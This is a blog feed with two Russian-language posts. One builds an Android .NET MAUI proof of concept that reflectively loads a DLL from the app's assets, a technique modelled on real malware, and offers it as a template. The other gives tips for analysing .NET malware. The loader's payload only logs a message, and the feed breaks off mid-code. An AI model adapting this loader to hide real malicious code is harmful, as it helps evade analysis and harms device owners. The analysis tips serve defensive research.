<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://orderofsixangles.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://orderofsixangles.com/" rel="alternate" type="text/html" /><updated>2024-11-27T04:37:50+00:00</updated><id>https://orderofsixangles.com/feed.xml</id><title type="html">Order Of Six Angles</title><subtitle>Х.Р.А.М Сатаны</subtitle><entry><title type="html">Малварь на Xamarin</title><link href="https://orderofsixangles.com/ru/2024/11/26/xamarin-malware.html" rel="alternate" type="text/html" title="Малварь на Xamarin" /><published>2024-11-26T00:00:00+00:00</published><updated>2024-11-26T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2024/11/26/xamarin-malware</id><content type="html" xml:base="https://orderofsixangles.com/ru/2024/11/26/xamarin-malware.html"><![CDATA[<h2 id="введение">Введение</h2>

<p>Как-то раз я наткнулся на статью об андроид малваре от McAfee - <a href="https://www.mcafee.com/blogs/other-blogs/mcafee-labs/stealth-backdoor-android-xamalicious-actively-infecting-devices/">Stealth Backdoor “Android/Xamalicious” Actively Infecting Devices</a>. В ней меня заинтриговала строчка о динамически загружаемом Assembly:</p>

<p><img src="/assets/images/ru/xamarin/0.png" alt="Alt text" /></p>

<p>Дело в том, что эта техника активно используется в .NET малваре, но под Windows. Использование же такого подхода под андроид меня удивило. Я стал копать в этом направлении. Для начала освежим в памяти суть техники. Чтобы оставаться незаметной, малваре требуется находиться в памяти, не трогая диск. В .NET есть понятие Assembly (сборка). Грубо говоря - это exe/dll, который исполняется в CLR (Common Language Runtime). Мы можем динамически загрузить сборку, которая содержит вредоносный функционал.</p>

<p>Малварь в статье была написана с использованием фреймворка <code class="language-plaintext highlighter-rouge">Xamarin</code>.</p>

<p><img src="/assets/images/ru/xamarin/00.png" alt="Alt text" /></p>

<p>Это сделано для того, чтобы затруднить анализ/реверс APK, так как она будет содержать кучу вспомогательных библиотек. Изучив вопросик узнал, что Xamarin <a href="https://stackoverflow.com/questions/76652602/xamarin-is-end-of-life-what-is-its-replacement-for-developing-an-android-app-in">устарел</a> и заменен на <a href="https://dotnet.microsoft.com/en-us/apps/maui">.NET MAUI</a></p>

<p><img src="/assets/images/ru/xamarin/1.png" alt="Alt text" /></p>

<p>Сухое определение:</p>

<p>`
.NET MAUI - это многоплатформенный фреймворк для создания нативных настольных и мобильных приложений с помощью C# и XAML (Extensible Application Markup Language). Используя .NET MAUI (Multi-platform Application User Interface), вы можете разрабатывать мобильные приложения, которые могут работать на Windows, Android, iOS, iPadOS и macOS.
`</p>

<h2 id="setup">Setup</h2>

<p>Приступим к подготовке проекта, представляющего собой Android приложение на .NET MAUI, которое динамически загружает (Reflective Loading) вредоносную .NET Assembly и запускает ее. Для разработки я использовал <code class="language-plaintext highlighter-rouge">Ubuntu 24 LTS</code> и <a href="https://learn.microsoft.com/en-us/training/modules/build-mobile-and-desktop-apps/1-introduction">Visual Studio Code</a>. Для начала установим .NET SDK в <a href="https://learn.microsoft.com/en-us/dotnet/core/install/linux-ubuntu#register-the-ubuntu-net-backports-package-repository">Ubuntu</a>. В Ubuntu нам нужно это сделать именно с помощью Microsoft package repository!</p>

<p><img src="/assets/images/ru/xamarin/2.png" alt="Alt text" /></p>

<p>После установки <code class="language-plaintext highlighter-rouge">SDK</code> ставим <a href="https://github.com/dotnet/maui/discussions/7711">workload MAUI</a>:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dotnet workload <span class="nb">install </span>maui-android
</code></pre></div></div>

<p>Если все прошло удачно, вы должны увидеть андроид в списке:</p>

<p><img src="/assets/images/ru/xamarin/3.png" alt="Alt text" /></p>

<p>Выполняем инструкцию по созданию проекта:</p>

<p><img src="/assets/images/ru/xamarin/4.png" alt="Alt text" /></p>

<p>Устанавливаем <code class="language-plaintext highlighter-rouge">Android SDK</code></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> unzip
<span class="nb">mkdir</span> <span class="nt">-p</span> ~/.android-sdk/cmdline-tools
<span class="nb">cd</span> ~/.android-sdk/cmdline-tools
wget https://dl.google.com/android/repository/commandlinetools-linux-9477386_latest.zip <span class="nt">-O</span> tools.zip
unzip tools.zip
<span class="nb">mv </span>cmdline-tools latest
<span class="nb">cd </span>latest
./sdkmanager <span class="nt">--install</span> <span class="s2">"platform-tools"</span> <span class="s2">"platforms;android-33"</span> <span class="s2">"build-tools;33.0.2"</span>
</code></pre></div></div>

<p>И прописываем его в <code class="language-plaintext highlighter-rouge">Settings</code> расширения <code class="language-plaintext highlighter-rouge">MAUI</code>.</p>

<p><img src="/assets/images/ru/xamarin/5.png" alt="Alt text" /></p>

<p>Устанавливаем <code class="language-plaintext highlighter-rouge">Microsoft OpenJDK</code>:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">-y</span> wget apt-transport-https
wget <span class="nt">-qO-</span> https://packages.microsoft.com/keys/microsoft.asc | <span class="nb">sudo tee</span> /etc/apt/trusted.gpg.d/microsoft.asc
<span class="nb">sudo </span>add-apt-repository https://packages.microsoft.com/ubuntu/<span class="si">$(</span>lsb_release <span class="nt">-rs</span><span class="si">)</span>/prod
<span class="nb">sudo </span>apt update
<span class="nb">sudo </span>apt <span class="nb">install </span>msopenjdk-17
</code></pre></div></div>

<p>Проверяем, что установилось правильно</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/lib/jvm/msopenjdk-17-amd64/bin/java <span class="nt">-version</span>
</code></pre></div></div>

<p>Теперь выберите <code class="language-plaintext highlighter-rouge">Microsoft OpenJDK</code> в качестве <code class="language-plaintext highlighter-rouge">Java</code> по умолчанию:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>update-alternatives <span class="nt">--config</span> java
</code></pre></div></div>

<p>Теперь создаем приложение MAUI по <a href="https://learn.microsoft.com/en-us/dotnet/maui/get-started/installation?view=net-maui-8.0&amp;tabs=visual-studio-code#using-the-installandroiddependencies-target">инструкции</a>. Выполняем команду:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet new maui
</code></pre></div></div>

<p>также создайте переменную:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">ANDROID_SDK_ROOT</span><span class="o">=</span>/home/test/.android-sdk
</code></pre></div></div>

<p>Открываем файл <code class="language-plaintext highlighter-rouge">app.csproj</code> и из <code class="language-plaintext highlighter-rouge">TargetFramework</code> удаляем <code class="language-plaintext highlighter-rouge">ios</code> и <code class="language-plaintext highlighter-rouge">macos</code>. Эти параметры будут вызывать ошибку при сборке в Linux. На этом шаге у нас есть болванка готового проекта. Если мы хотим собрать его в APK, будем выполнять три последовательных действия. Первое, очищаем следы предыдущего билда:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet clean
</code></pre></div></div>

<p>Затем выполняем сборку проекта командой, с указанием путей к Android SDK и JDK:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet build <span class="nt">-t</span>:InstallAndroidDependencies <span class="nt">-f</span>:net8.0-android <span class="nt">-p</span>:AndroidSdkDirectory<span class="o">=</span><span class="s2">"/home/test/.android-sdk"</span> <span class="nt">-p</span>:JavaSdkDirectory<span class="o">=</span><span class="s2">"/usr/lib/jvm/msopenjdk-17-amd64"</span> <span class="nt">-p</span>:AcceptAndroidSDKLicenses<span class="o">=</span>True
</code></pre></div></div>

<p>Если не находится workload и есть ошибки, то выполняем:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>dotnet workload restore <span class="o">[</span>app.csproj::TargetFramework<span class="o">=</span>net8.0-android] <span class="nt">--project</span> app.csproj
</code></pre></div></div>

<p>В конце публикуем:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotnet publish <span class="nt">-p</span>:AndroidSdkDirectory<span class="o">=</span><span class="s2">"/home/test/.android-sdk"</span> <span class="nt">-f</span> net8.0-android <span class="nt">-c</span> Release
</code></pre></div></div>

<p>И загружаем на девайс:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>adb <span class="nb">install </span>xamarin/app/bin/Release/net8.0-android/publish/com.companyname.app-Signed.apk
</code></pre></div></div>

<p>Теперь мы готовы к разработке!</p>

<h2 id="создаем-poc">Создаем PoC</h2>

<p>Первым делом создадим вредоносный Assembly. По аналогии создаем новый проект со следующей структурой:</p>

<p><img src="/assets/images/ru/xamarin/9.png" alt="Alt text" /></p>

<p>У нас будет интерфейс <code class="language-plaintext highlighter-rouge">IPlugin.cs</code>:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">class</span> <span class="nc">Class1</span><span class="p">:</span> <span class="n">IPlugin</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="kt">string</span> <span class="n">Name</span> <span class="p">=&gt;</span> <span class="s">"Sample Plugin"</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">void</span> <span class="nf">Execute</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="n">Log</span><span class="p">.</span><span class="nf">Info</span><span class="p">(</span><span class="s">"MyAppTag"</span><span class="p">,</span> <span class="s">"Sample Plugin Executed!"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>И основной класс с вредоносным функционалом <code class="language-plaintext highlighter-rouge">Class1.cs</code>:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">class</span> <span class="nc">Class1</span><span class="p">:</span> <span class="n">IPlugin</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="kt">string</span> <span class="n">Name</span> <span class="p">=&gt;</span> <span class="s">"Sample Plugin"</span><span class="p">;</span>

    <span class="k">public</span> <span class="k">void</span> <span class="nf">Execute</span><span class="p">()</span>
    <span class="p">{</span>
        <span class="n">Log</span><span class="p">.</span><span class="nf">Info</span><span class="p">(</span><span class="s">"MyAppTag"</span><span class="p">,</span> <span class="s">"Sample Plugin Executed!"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Собираем проект. У нас должен появиться DLL в папке Release с именем <code class="language-plaintext highlighter-rouge">SamplePlugin.dll</code>. Копируем ее в основной проект.  В основном проекте прописываем путь к <code class="language-plaintext highlighter-rouge">SamplePlugin.dll</code> в <code class="language-plaintext highlighter-rouge">app.csproj</code>. Она должна будет лежать в папке <code class="language-plaintext highlighter-rouge">assets</code>, в конечной апк:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;AndroidAsset</span> <span class="na">Include=</span><span class="s">"xamarin/app/SamplePlugin.dll"</span> <span class="nt">/&gt;</span>
</code></pre></div></div>

<p>У нас есть главный класс <code class="language-plaintext highlighter-rouge">MainPage.xaml.cs</code>, который содержит основную логику. Для начала нам надо скопировать <code class="language-plaintext highlighter-rouge">SamplePlugin.dll</code> из папки <code class="language-plaintext highlighter-rouge">assets</code> в другое место:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">static</span> <span class="kt">string</span> <span class="nf">ExtractLibrary</span><span class="p">(</span><span class="n">Android</span><span class="p">.</span><span class="n">Content</span><span class="p">.</span><span class="n">Context</span> <span class="n">context</span><span class="p">,</span> <span class="kt">string</span> <span class="n">libraryName</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">// Путь, куда будет извлечена библиотека</span>
	<span class="kt">string</span> <span class="n">destinationPath</span> <span class="p">=</span> <span class="n">Path</span><span class="p">.</span><span class="nf">Combine</span><span class="p">(</span><span class="n">context</span><span class="p">.</span><span class="n">FilesDir</span><span class="p">.</span><span class="n">AbsolutePath</span><span class="p">,</span> <span class="n">libraryName</span><span class="p">);</span>

	<span class="n">AssetManager</span> <span class="n">assets</span> <span class="p">=</span> <span class="n">context</span><span class="p">.</span><span class="n">Assets</span><span class="p">;</span>
	<span class="k">using</span> <span class="p">(</span><span class="n">Stream</span> <span class="n">inputStream</span> <span class="p">=</span> <span class="n">assets</span><span class="p">.</span><span class="nf">Open</span><span class="p">(</span><span class="n">libraryName</span><span class="p">))</span>
	<span class="k">using</span> <span class="p">(</span><span class="n">FileStream</span> <span class="n">outputStream</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">FileStream</span><span class="p">(</span><span class="n">destinationPath</span><span class="p">,</span> <span class="n">FileMode</span><span class="p">.</span><span class="n">Create</span><span class="p">))</span>
	<span class="p">{</span>
		<span class="n">inputStream</span><span class="p">.</span><span class="nf">CopyTo</span><span class="p">(</span><span class="n">outputStream</span><span class="p">);</span>
	<span class="p">}</span>

	<span class="k">return</span> <span class="n">destinationPath</span><span class="p">;</span> <span class="c1">// Возвращаем полный путь к библиотеке</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Контекст мы можем получить так:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">context</span> <span class="p">=</span> <span class="n">Android</span><span class="p">.</span><span class="n">App</span><span class="p">.</span><span class="n">Application</span><span class="p">.</span><span class="n">Context</span><span class="p">;</span>
</code></pre></div></div>

<p>После копирования библиотеки, загружаем ее в память:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">assembly</span> <span class="p">=</span> <span class="n">Assembly</span><span class="p">.</span><span class="nf">LoadFrom</span><span class="p">(</span><span class="n">libPath</span><span class="p">);</span>
</code></pre></div></div>

<p>И вызываем вредоносный метод:</p>

<div class="language-c# highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">var</span> <span class="n">method</span> <span class="p">=</span> <span class="n">type</span><span class="p">.</span><span class="nf">GetMethod</span><span class="p">(</span><span class="s">"Execute"</span><span class="p">);</span>
<span class="n">method</span><span class="p">.</span><span class="nf">Invoke</span><span class="p">(</span><span class="n">instance</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>
</code></pre></div></div>

<p>Вот и все! Проект загружен на <a href="https://github.com/thatskriptkid/xamarin-malware">гитхаб</a>, вы можете использовать его как шаблон для своих идей.</p>]]></content><author><name></name></author><category term="[&quot;ru&quot;]" /><category term="malware" /><category term="android" /><summary type="html"><![CDATA[Введение]]></summary></entry><entry><title type="html">Советы для исследования .NET малвари</title><link href="https://orderofsixangles.com/ru/2024/07/01/dotnet-lifehacks-ru.html" rel="alternate" type="text/html" title="Советы для исследования .NET малвари" /><published>2024-07-01T00:00:00+00:00</published><updated>2024-07-01T00:00:00+00:00</updated><id>https://orderofsixangles.com/ru/2024/07/01/dotnet-lifehacks-ru</id><content type="html" xml:base="https://orderofsixangles.com/ru/2024/07/01/dotnet-lifehacks-ru.html"><![CDATA[<p>У нас есть малварь, которая декодирует ресурс DE.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/01.png" alt="Alt text" /></p>

<p>С помощью скрипта <a href="https://github.com/thatskriptkid/malware-analysis-tools/tree/master/dotnet/stego">stego</a> можно расшифровать картинку.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/02.png" alt="Alt text" /></p>

<p>Результат декодирования:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/03.png" alt="Alt text" /></p>

<p>Также этот скрипт способен производить обратную операцию - превращать файл в стеганографическое изображение. Может использоваться в сценарии, когда вы пропатчили вредоносный файл, и хотите обратно закодировать его в картинку, чтобы малварь в процессе своей работы расшифровала ваш пропатченный бинарник. Не забудьте указать ширину и высоту картинки, как в оригинале.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/04.png" alt="Alt text" /></p>

<h2 id="дамп-пейлодов">Дамп пейлодов</h2>

<ol>
  <li>Часто .net малварь выполняет несколько стадий распаковки, задействуя несколько пейлодов. Чтобы просмотреть вредоносные пейлоды в памяти можно воспользоваться инстурментом ProcessHacker:</li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/net_assemblies.png" alt="" /></p>

<ol>
  <li>
    <p>Дампнуть отдельные .NET Assembly из памяти можно тулзой <a href="https://github.com/wwh1004/ExtremeDumper">ExtremeDumper</a>. hollows_hunter может не видеть все пейлоды в памяти.</p>
  </li>
  <li>
    <p>Также можно сделать дамп, поставив брейкпоинт на загрузку модулей в dnSpy. Способ показан в <a href="https://youtu.be/tenNFzM-MM0?si=15ko7638EPtNYa5i&amp;t=817">видео</a>. Нам надо отобразить окно Модули.</p>
  </li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/dump_1.png" alt="" /></p>

<p>Затем поставить “*” в имена отслеживаемых модулей.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/dump_2.png" alt="" /></p>

<p>Запускаем малварь и мы увидим все загружаемые модули.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/dump_3.png" alt="" /></p>

<h2 id="вызов-отдельных-методов">Вызов отдельных методов</h2>

<h3 id="способ-первый">Способ первый</h3>

<p>Малварь может содержать функции по расшифровки/декодированию строк или другие интересные функции, которые хочется вызвать отдельно (только их). Например, малварь содержит функцию по декодированию строки <code class="language-plaintext highlighter-rouge">CausalitySource</code></p>

<p><img src="/assets/images/ru/dotnet_lifehacks/mal_func.png" alt="" /></p>

<p>Аргументы, которая она принимает:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/args.png" alt="" /></p>

<p>Существует два удобных способа вызвать эту функцию с нужными аргументами. Первый - с помощью LinqPad</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/linqpad_descr.png" alt="" /></p>

<p><a href="https://www.linqpad.net/Download.aspx">Linqpad</a> - это легковесный исполнитель dotnet кода, которым удобно пользоваться в виртуалке. Можно скачивать 5 версию, так как .NET framework по умолчанию стоит в Windows 7. Теперь мы можем просто скопировать из образца код, вставить его в редактор и исполнить.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/Linqpad.png" alt="" /></p>

<p>Необязательно писать полноценную программу с Main() и т.д., можно использовать просто куски кода, для этого в выпадающем меню выбираем <code class="language-plaintext highlighter-rouge">Expression</code> или <code class="language-plaintext highlighter-rouge">Statement</code>.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/linq_menu.png" alt="" /></p>

<p>Например, исполнение отдельных строк кода:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/linq_statement.png" alt="" /></p>

<h3 id="способ-второй">Способ второй</h3>

<p>Часто образец малвари в своих методах использует собственные константы, другие методы и т.д. и переносить кучу кода/переменные в Linqpad нерелевантно. Поэтому можно воспользоваться втором способом - powershell. Ничего устанавливать не нужно, powershell по умолчанию есть в Windows 7.  Запускаем нужный экземпляр powershell, чтобы его разрядность совпадала с разрядностью образца.  Первым делом нам необходимо подгрузить наш вредоносный Assembly командой:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$malware = [Reflection.Assembly]::LoadFile("path")
</code></pre></div></div>

<p>Также это можно сделать с помощью cmdlet (более современный способ). В этом случае файл должен иметь расширение <code class="language-plaintext highlighter-rouge">.dll</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add-Type -Path foo.dll
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_3.png" alt="" /></p>

<p>Убедиться что операция завершена успешна поможет команда просмотра списка всех загруженных Assembly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[appdomain]::currentdomain.GetAssemblies()
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_1.png" alt="" /></p>

<p>Чтобы вызвать конкретный, <strong>статический</strong> метод мы используем следующую конструкцию:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[имя_namespace.имя_класса]::имя_функции("аргументы")
</code></pre></div></div>

<p>Например:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_2.png" alt="" /></p>

<p>Если метод НЕ статический, то в начале инстанцируем класс:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$instance = New-Object имя_namespace.имя_класса
$result = $instance.имя_функции()
echo $result
</code></pre></div></div>

<p>Пример вызова нестатического метода:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_4.png" alt="" /></p>

<h4 id="полезные-powershell-команды">Полезные powershell команды</h4>

<p>*ассембли (Assembly) - любой .NET EXE или DLL</p>

<p>Стандартный размер шрифта powershell очень мал. Увеличить его можно кликнув правой кнопкой на иконку - Свойства.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_font.png" alt="" /></p>

<p>Очистка окна консоли:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Clear-Host
</code></pre></div></div>

<p>Если для каких-либо операций нам необходимо подгрузить зависимость:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
</code></pre></div></div>

<p>Например, подгрузив зависимость <code class="language-plaintext highlighter-rouge">Drawing</code> мы можем использовать класс <code class="language-plaintext highlighter-rouge">Bitmap</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$bmp = New-Object System.Drawing.Bitmap("D:\\path")
</code></pre></div></div>

<p>Вывод всех типов внутри бинарника:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$malware.gettypes()
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_types.png" alt="" /></p>

<p>Поиск по выводу какой-либо команды:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>| Select-String -Pattern "строка_для_поиска"
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_search.png" alt="" /></p>

<p>Вывод только публичных классов:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$assembly.GetTypes() | ? {$_.IsClass -and $_.IsPublic}
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_is.png" alt="" /></p>

<p>Вывод всех текущих загруженных Assembly в отсортированном виде (также эта команда может пригодится или нет при форензике):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[appdomain]::currentdomain.getassemblies() | sort -property fullname | format-table fullname
</code></pre></div></div>

<p><img src="/assets/images/ru/dotnet_lifehacks/ps_5.png" alt="" /></p>

<p>Дамп захардкоженных переменных ассембли. Допустим у нас есть малварь, которая содержит некий статический байтовый блоб.</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/byte_blob.png" alt="" /></p>

<p>Если вы хотите дампнуть его, это можно сделать двумя способами. Динамически - запустить ассембли в дебаггере и дампнуть значение в рантайме. Статически - дампнуть, используя powershell. Чтобы дампнуть используя powershell мы подгружаем ассембли и сохраняем в файл желаемую переменную.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$malware = [Reflection.Assembly]::LoadFrom("path") # подгружаем наш вредоносный ассембли
[io.file]::WriteAllBytes('path_to_save_var', [namespace.class]::var_name) # сохраняем в файл
</code></pre></div></div>

<p>Пример:</p>

<p><img src="/assets/images/ru/dotnet_lifehacks/save_var.png" alt="" /></p>

<p>Если требуемая переменная НЕстатическая, то просто создайте инстанс соответствующего класса.</p>

<p>Если вам лень постоянно вводить команды для дампа, то можно написать скрипт. Чтобы скрипт работал, не забудьте включить исполнение скриптов на системе:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set-executionpolicy remotesigned
</code></pre></div></div>

<h3 id="лайфхаки">Лайфхаки</h3>

<ol>
  <li>AgentTesla содержит пейлоды в виде ресурсов. Один из пейлодов является стеганографической картинкой. Если мы хотим пропатчить пейлод, который распаковывается на какой-либо стадии, нам необходимо:
    <ol>
      <li>Преобразовать ресурс из картинки в файл</li>
      <li>Пропатчить</li>
      <li>Преобразовать файл обратно в картинку</li>
      <li>Заменить ресурс картинку
В этом может помочь скрипт <a href="https://github.com/thatskriptkid/malware-analysis-tools/tree/master/dotnet/stego">stego</a>.</li>
    </ol>
  </li>
  <li>Например, мы хотим написать YARA правило на кусок .NET кода.</li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/yara.png" alt="" /></p>

<p>*<a href="https://www.binarydefense.com/resources/blog/creating-yara-rules-based-on-code/">вспомогательная ссылка</a></p>

<p>*<a href="https://en.wikipedia.org/wiki/List_of_CIL_instructions">список опкодов</a></p>

<ol>
  <li>LinqPad поддерживает работу с файлами</li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/linqpad_files.png" alt="" /></p>

<ol>
  <li>Иногда, .NET малварь может содержать GUID. Это поле идентифицрует конкретный проект на компе разработчика. Соответственно, если у нескольких отдельных образцов один и тот же GUID, то с уверенностью можно говорить, что они были разработаны на одном компе и скорей всего одним и тем же разработчиком.</li>
</ol>

<p><img src="/assets/images/ru/dotnet_lifehacks/guid.png" alt="" /></p>

<ol>
  <li>Если нам попался .NET Bundle, то дампнуть файлы бандла можно с помощью AsmResolver и powershell:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Reflection.Assembly]::LoadFrom("C:\AsmResolver\AsmResolver.DotNet.dll") | Out-Null
$extractionPath = "C:\Extracted\"
$manifest = [AsmResolver.DotNet.Bundles.BundleManifest]::FromFile("C:\RiotClientServices.exe")

foreach($file in $manifest.Files)
{
    $fileInfo = [IO.FileInfo]::new($extractionPath + $file.RelativePath)
    $fileInfo.Directory.Create()
    [IO.File]::WriteAllBytes($fileInfo.FullName, $file.getData($true))
}
</code></pre></div></div>
<p><a href="https://research.checkpoint.com/2023/byos-bundle-your-own-stealer/">Более подробная информация</a></p>

<ol>
  <li>Библиотека <a href="https://github.com/Washi1337/AsmResolver">AsmResolver</a>, с помощью которой можно модифицировать .net бинарники. Например, удалять ненужные методы:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Reflection.Assembly]::LoadFrom("C:\AsmResolver\AsmResolver.DotNet.dll") | Out-Null
$obfuscated = "C:\RiotClientServices.dll"
$moduleDef = [AsmResolver.DotNet.ModuleDefinition]::FromFile($obfuscated)
# Removing junk methods
foreach($type in $moduleDef.GetAllTypes())
{
    foreach($method in [array]$type.Methods.Where{$_.HasMethodBody})
    {
        if(($method.MethodBody.Instructions.Where{$_.Opcode.Mnemonic -like "call" -and
            $_.Operand.FullName -like "*System.Console::WriteLine*"}).count -eq  5)
        {
            $type.Methods.Remove($method) | Out-Null
        }
    }
}
</code></pre></div></div>

<ol>
  <li>
    <p>Если надо отдебажить библиотеку .NET, то можно воспользоваться <a href="https://github.com/hexfati/SharpDllLoader">SharpDllLoader</a></p>
  </li>
  <li>
    <p>Образцы можно группировать по TypeRef hash. Вычислить его поможет <a href="https://github.com/thatskriptkid/malware-analysis-tools/tree/master/dotnet/type_ref_hasher">скрипт в гитлаб</a>. TypeRef hash лучше использовать отсортированный и включая сущности, которые ссылаются сами на себя (sorted, include self-referenced entries).</p>
  </li>
  <li>
    <p>Если функция расшифровки строк малвари вызывается много раз, можно написать следующий скрипт (пример):</p>
  </li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$malware = [Reflection.Assembly]::LoadFile("C:\my\f.dll")
[jKcEiEe]::TFkR(980214767)| Out-File -FilePath c:\my\output.txt
[jKcEiEe]::TFkR(980214689) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214350) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214730) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214391) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214713) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214747) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214670) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214364) | Add-Content C:\my\output.txt
[jKcEiEe]::TFkR(980214543) | Add-Content C:\my\output.txt 
</code></pre></div></div>

<ol>
  <li>Иногда малварь для сокрытия пейлода использует <a href="https://github.com/Fody/Home/">Fody</a>/<a href="https://github.com/Fody/Costura">Costura</a>. Costura предназначена для добавления зависимостей/ресурсов в единный бинарник. Полезные ссылки по таким кейсам:</li>
</ol>

<p><a href="https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware">example-analysis-of-multi-component-malware</a></p>

<p><a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy">play-ransomware-volume-shadow-copy</a></p>

<ol>
  <li>Получение данных о X509 сертификате кодом в LINQPAD. Также можно проверить валидность файла:</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
void Main()
{
	string fileName = "c:\\my\\OUTLOOK.CFG";
	string text2 = "test-908@testgmail-398504.iam.gserviceaccount.com";
	X509Certificate2 x509 = new X509Certificate2(fileName, "notasecret", X509KeyStorageFlags.Exportable);
	
	Console.WriteLine("{0}Subject: {1}{0}", Environment.NewLine, x509.Subject);
    Console.WriteLine("{0}Issuer: {1}{0}", Environment.NewLine, x509.Issuer);
    Console.WriteLine("{0}Version: {1}{0}", Environment.NewLine, x509.Version);
